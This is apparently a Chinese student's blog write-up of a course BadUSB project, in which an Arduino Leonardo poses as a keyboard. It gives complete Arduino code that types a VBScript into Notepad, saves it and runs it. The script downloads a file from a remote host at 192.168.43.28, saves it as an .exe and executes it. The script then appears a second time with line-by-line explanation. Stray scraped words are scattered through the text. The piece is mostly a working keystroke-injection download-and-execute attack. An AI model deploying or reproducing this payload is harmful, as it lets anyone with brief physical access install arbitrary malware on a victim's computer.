听5214说他作不出来本身的免考项目,因而就转向bof进阶,而且成功作出了64位的ROP攻击......
既然如此,那我就再作一个吧,但都已经期末了,就选择了一项入手简单的HID攻击的东西,就这么作了一个简易的HIDAttack,没有深研究过,确定有不少叙述不周到,作法有问题,还请原谅我这个小caiji。html
我这里作的HIDAttack选择的是BadUSB那一项,先简单介绍一下HID是啥,Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等,具体的解释能够百度,多得很。这里能用到的信息就是若是逆向编程使用HID的设备,就能够实现,随意变换计算机识别的设备类型。shell
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个很是小并且功能完整的单片机开发系统,它的名字叫TEENSY。经过TEENSY你能够模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就能够向主机发送控制命令,从而彻底控制主机,不管自动播放是否开启,均可以成功。编程
我选择的USB设备是一块Arduino板子,是LEORADO型的,其余的不能用除了Micro型(很小很便宜)的,淘宝上能够买的到。
bash
这里咱们跳过Arduino编程和后面将要使用到的powershell编程和VBS编程介绍内容,网上不少不少函数
#include <Keyboard.h> void setup() { delay(3000); Keyboard.begin(); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); Keyboard.releaseAll(); delay(100); Keyboard.println("cmd /c powershell"); delay(100); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(1000); Keyboard.println("notepad "); delay(1000); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_LEFT_SHIFT); delay(1000); Keyboard.println("on error resume next \nSet Post = CreateObject\(\"Msxml2.XMLHTTP\"\)\nSet Shell = CreateObject\(\"Wscript.Shell\"\)\nPost.Open \"GET\",\"http://192.168.43.28/bd5213.gif\",0\nPost.Send\(\)\nSet aGet = CreateObject\(\"ADODB.Stream\"\)\naGet.Mode = 3\naGet.Type = 1\naGet.Open\(\)\naGet.Write\(Post.responseBody\)\naGet.SaveToFile \"d:\\bd5213.exe\",2\nwscript.sleep 1000\nShell.AppActivate \"C:\\Windows\\system32\\CMD.exe\"\nShell.SendKeys \"exit~\"\nShell.Run \(\"d:\\bd5213.exe\"\)"); delay(1000); Keyboard.release(KEY_LEFT_SHIFT); Keyboard.press(KEY_LEFT_CTRL); Keyboard.press('s'); Keyboard.releaseAll(); delay(500); Keyboard.println("bd5213.vbs "); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_LEFT_ALT); Keyboard.press(KEY_F4); Keyboard.releaseAll(); delay(500); Keyboard.println("./bd5213.vbs "); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); } void loop() { // put your main code here, to run repeatedly: }
Arduino的Keyboard模块编程也就以下这几个函数oop
#include<Keyboard.h> //包含键盘模块的头文件 Keyboard.begin(); //开启键盘通讯 Keyboard.press(); //按下某个键 Keyboard.release(); //释放某个键 Keyboard.println(); /*输入某些内容 和一些网上的解释不一样 网上解释是输入内容而且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担忧有办法回车*/ Keyboard.end(); //结束键盘通讯
这里说一下上面的逻辑,就是先打开运行,而后输入cmd /c powershell
,即运行powershell,随后用其打开一个txt文件,向里面输入vbs脚本代码(脚本文件后面具体解释),键入CTRL+S
以bd5213.vbs
保存文件,关闭txt文本窗口,在刚才的终端里运行脚本文件。测试
上面的VBS脚本文件,主要是用来下载远程的恶意程序的并运行的,规范一下写法ui
on error resume next sET pOST = cREATEoBJECT("mSXML2.xmlhttp") sET sHELL = cREATEoBJECT("wSCRIPT.sHELL") pOST.oPEN "get","HTTP://192.168.43.28/BD5213.GIF",0 pOST.sEND() sET AgET = cREATEoBJECT("adodb.sTREAM") AgET.mODE = 3 AgET.tYPE = 1 AgET.oPEN() AgET.wRITE(pOST.RESPONSEbODY) AgET.sAVEtOfILE "D:\BD5213.EXE",2 WSCRIPT.SLEEP 1000 sHELL.aPPaCTIVATE "c:\wINDOWS\SYSTEM32\cmd.EXE" sHELL.sENDkEYS "EXIT~" sHELL.rUN ("D:\BD5213.EXE")
第一句说的是,若是运行出错,但不报错,并继续往下运行,这样作的好处是防止运行时出问题,调出一个提示框code
倒数第三句是将目前桌面焦点放到指定的正在运行的程序上,这里的目的是为了关闭不用的终端视频
完成上述过程后,插入USB便可,我录了一段视频,简单感觉一下粗犷的攻击方式